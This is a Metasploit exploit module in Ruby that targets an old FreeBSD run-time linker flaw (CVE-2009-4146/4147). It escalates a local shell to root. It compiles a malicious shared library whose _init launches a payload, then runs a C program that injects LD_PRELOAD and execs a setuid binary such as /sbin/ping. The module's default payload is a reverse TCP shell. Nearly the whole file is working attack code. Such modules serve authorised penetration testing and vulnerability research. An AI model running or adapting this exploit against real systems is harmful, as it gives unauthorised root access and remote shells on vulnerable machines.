modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).
The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.
This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.
This module has been tested successfully on:
FreeBSD 7.2-RELEASE (amd64); and
FreeBSD 8.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kingcope', # Independent discovery, public disclosure, and exploit
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
],
'DisclosureDate' => '2009-11-30',
'Platform' => ['bsd'], # FreeBSD
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '37154'],
['CVE', '2009-4146'],
['CVE', '2009-4147'],
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
['URL', 'https://securitytracker.com/id/1023250']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(7\.[012]|8\.0)/
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
end
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
unless command_exists?('cc')
return CheckCode::Safe('cc is not installed')
end
vprint_good('cc is installed')
unless setuid?(suid_exe_path)
return CheckCode::Detected("#{suid_exe_path} is not setuid")
end
vprint_good("#{suid_exe_path} is setuid")
CheckCode::Appears
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
max_len = 1_000
if base_dir.length > max_len
fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
executable_data = <<~LIB
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
extern char **environ;
environ=NULL;
system("#{payload_path} &");
}
LIB
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload("#{executable_path}.c", executable_data)
output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
register_file_for_cleanup("#{executable_path}.o")
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
end
lib_name = ".#{rand_text_alphanumeric(5..10)}"
lib_path = "#{base_dir}/#{lib_name}"
output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
register_file_for_cleanup("#{lib_path}.0")
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
end
exploit_data = <<~EXPLOIT
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
extern char **environ;
environ = (char**)calloc(8096, sizeof(char));
environ[0] = (char*)calloc(1024, sizeof(char));
environ[1] = (char*)calloc(1024, sizeof(char));
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
return execl("#{suid_exe_path}", "", (char *)0);
}
EXPLOIT
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload("#{exploit_path}.c", exploit_data)
output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
register_file_for_cleanup(exploit_path)
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
end
upload(payload_path, generate_payload_exe)
chmod(payload_path)
print_status('Launching exploit...')
output = cmd_exec(exploit_path)
output.each_line { |line| vprint_status line.chomp }
end
end